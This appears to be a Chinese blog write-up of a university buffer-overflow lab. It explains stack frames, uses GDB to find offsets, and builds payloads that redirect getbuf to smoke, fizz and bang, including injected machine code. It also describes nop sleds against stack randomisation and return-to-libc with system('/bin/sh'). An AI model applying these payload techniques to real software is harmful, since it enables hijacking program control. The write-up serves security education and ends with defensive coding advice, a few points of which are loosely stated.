当前位置: 首页 > news >正文

计算机系统安全实验:栈帧结构与缓冲区溢出漏洞利用

1. 栈帧结构与缓冲区溢出基础

第一次接触缓冲区溢出漏洞时,我盯着GDB调试界面看了整整三小时。那感觉就像在拆解一个精密的瑞士手表——每个齿轮(寄存器)的转动都必须分毫不差。让我们从最基础的栈帧结构说起。

栈帧是函数调用的活动记录,包含三个关键部分:

  • 局部变量区:存放函数内部的临时变量
  • 保存的寄存器值:如ebp、ebx等
  • 返回地址:函数执行完后该回到哪里

在32位Linux系统中,典型的栈帧布局是这样的:

+-----------------+ | 参数n | ← 调用者的栈帧 | ... | | 参数1 | +-----------------+ | 返回地址 | ← 当前栈帧开始 +-----------------+ | 保存的ebp | +-----------------+ | 局部变量 | | ... | +-----------------+

缓冲区溢出就像往杯子里倒啤酒——当输入的泡沫(数据)超过杯子(缓冲区)容量时,就会溢出到桌面(其他内存区域)。通过精心构造输入数据,我们可以让溢出的部分覆盖返回地址,从而控制程序执行流。

2. GDB实战分析栈帧

让我们用GDB调试一个简单程序,观察栈帧的实际结构。假设有这样一个存在漏洞的函数:

void vulnerable() { char buffer[8]; gets(buffer); // 危险函数! }

编译时记得关闭保护机制:

gcc -fno-stack-protector -z execstack -g vuln.c -o vuln

在GDB中逐步执行:

(gdb) break vulnerable (gdb) run (gdb) info frame Stack level 0, frame at 0xffffd120: eip = 0x80491d6 in vulnerable; saved eip = 0x8049321 called by frame at 0xffffd150 Arglist at 0xffffd118, args: Locals at 0xffffd118, Previous frame's sp is 0xffffd120 Saved registers: ebp at 0xffffd118, eip at 0xffffd11c

这里可以看到:

  • 返回地址保存在0xffffd11c
  • buffer起始地址在ebp-0x8(32位系统)
  • 输入12个字符就能触及返回地址(8字节buffer + 4字节ebp)

3. 构造基础攻击载荷

以实验中的Level0为例,我们需要让程序跳转到smoke函数。关键步骤:

  1. 确定偏移量:通过反汇编找到buffer到返回地址的距离
080491f4 <getbuf>: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 38 sub $0x38,%esp 80491fa: 8d 45 d8 lea -0x28(%ebp),%eax # buffer起始地址

这里buffer大小是0x28(40)字节,加上4字节旧ebp,总共需要44字节填充。

  1. 获取目标地址
08048bd2 <smoke>: 8048bd2: 55 push %ebp
  1. 构造攻击字符串
00 00 00 00 00 00 00 00 ← 40字节填充 00 00 00 00 ← 覆盖ebp d2 8b 04 08 ← smoke函数地址(小端序)

实测中可以用Python生成:

print(b"A"*44 + b"\xd2\x8b\x04\x08")

4. 进阶攻击技术

4.1 带参数攻击(Level1)

当需要调用如fizz(cookie)时,攻击字符串需要:

  1. 覆盖返回地址为fizz函数入口
  2. 在返回地址后放置cookie参数

栈帧布局变为:

[buffer填充][旧ebp][fizz地址][返回地址占位][cookie值]

关键技巧:

  • 参数位于ebp+8的位置
  • 使用占位符填充返回地址位置

4.2 代码注入(Level2)

当需要修改全局变量时,我们需要注入自定义汇编代码:

movl $0x5216b8f0, 0x804d100 # 将cookie写入全局变量 push $0x8048c49 # bang函数地址 ret

将其编译后获取机器码:

gcc -m32 -c bang.s objdump -d bang.o

攻击字符串结构:

[机器代码][填充][buffer地址]

其中buffer地址需要通过GDB调试获取:

(gdb) break getbuf (gdb) run (gdb) print /x $eax $1 = 0x55683228

5. 绕过防护机制

现代系统有多种防护措施,实验中我们主要面对两种:

5.1 栈不可执行(NX)

解决方案:复用已有代码(Return-to-libc)

  • 找到system()函数地址
  • 布置"/bin/sh"字符串
  • 构造调用链

5.2 地址随机化(ASLR)

应对方法:

  1. 使用nop雪橇技术
print(b"\x90"*100 + shellcode + return_address)
  1. 暴力破解(需要信息泄露)

6. 实验中的踩坑记录

在完成Level4时,我遇到了地址随机化的挑战。getbufn每次运行时栈地址都不同,解决方案是:

  1. 使用nop指令填充大部分空间
nop # 机器码0x90
  1. 将返回地址指向缓冲区高端地址
  2. 在高端地址放置有效载荷

通过GDB获取5次运行的地址范围:

0x55683048 0x55682ff8 0x55682fe8 0x55682fe8 0x55683038

选择最大地址0x55683048作为返回地址,确保总能滑入有效载荷区。

7. 安全编程建议

经历过这些实验后,我养成了这些编码习惯:

  • 永远使用strncpy代替strcpy
  • 对用户输入进行长度检查
  • 使用安全函数如snprintf
  • 开启编译器的栈保护选项

缓冲区溢出就像编程界的"不要用牙签掏耳朵"——看似小事,后果严重。理解攻击原理,才能写出更健壮的代码。

http://www.cnnetsun.cn/news/3382147.html

相关文章:

  • 压电发声器与MCU驱动方案在智能警报系统中的应用
  • TS2007FC与PIC18LF45K80在嵌入式音频系统中的应用
  • MAX11108A ADC与MKV42F微控制器的低功耗信号采集方案
  • 【单片机毕业设计】 基于 51/STM32 单片机的温湿度人体感应智能风扇控制系统设计,基于 51/STM32 单片机的环境感知智能通风装置设计与实现(012702)
  • Windows C盘空间清理与系统优化实战指南
  • YOLOv8在FPS游戏实时人物检测中的工程实践与优化
  • 基于Boost.Beast构建高性能C++ WebSocket服务器:从原理到实践
  • Linux进程与线程的本质差异及系统启动解析
  • 基于YOLOv8的家具识别系统:从原理到部署完整指南
  • 扩散模型强化学习对齐:RAM方法原理与工程实践指南
  • Cocos2d-x 4.0实现滑动拼图游戏:交互、算法与工程实践
  • Canal Instance:深入解析与实战指南
  • Tool Calling:让 AI 从“纸上谈兵”变成“动手实干”
  • TB67H480FNG与dsPIC33FJ256GP710A电机控制方案详解
  • Excel为何毁掉生物信息学数据的可重复性
  • C++多线程编程实战:从数据竞争到线程安全设计
  • 关于Linux系统编译C语言代码汉字支持问题
  • 2026年AI写论文避坑指南:这5个坑90%的人都踩过(附真实对比)
  • 人脸表情识别Python实战包:带图形界面、三种模型代码、标注数据集与论文PPT全套
  • AgentFrameworkKit 架构拆解:系统级智能体通信逻辑全解析
  • 2026免费查重网站红黑榜:这3类千万别碰,论文泄露哭都来不及
  • 为什么你的ChatGPT总写不出好文案?揭秘灵感断流的3层认知陷阱,附可立即部署的唤醒协议
  • Unity TileMap与Rule Tile:从原理到实战,打造高效2D地形工作流
  • 【单片机毕业设计】基于 STM32 的心率血氧监测与蓝牙告警系统设计,基于 STM32 单片机的便携式生命体征采集装置及 APP 开发(013202)
  • 基于SpringBoot的4S店车辆进销存与售后服务一体化管理系统源码
  • Cutecharts手作可视化实战:用Python生成有温度的SVG图表
  • Unity测试框架断言(Assert)实战指南:从基础到高级应用
  • UE5安卓打包实战:从Gradle下载失败到APK部署的完整日志分析与解决方案
  • 算法-哈希查找
  • STM32F103串口控制A7680C实现4G语音呼叫与应答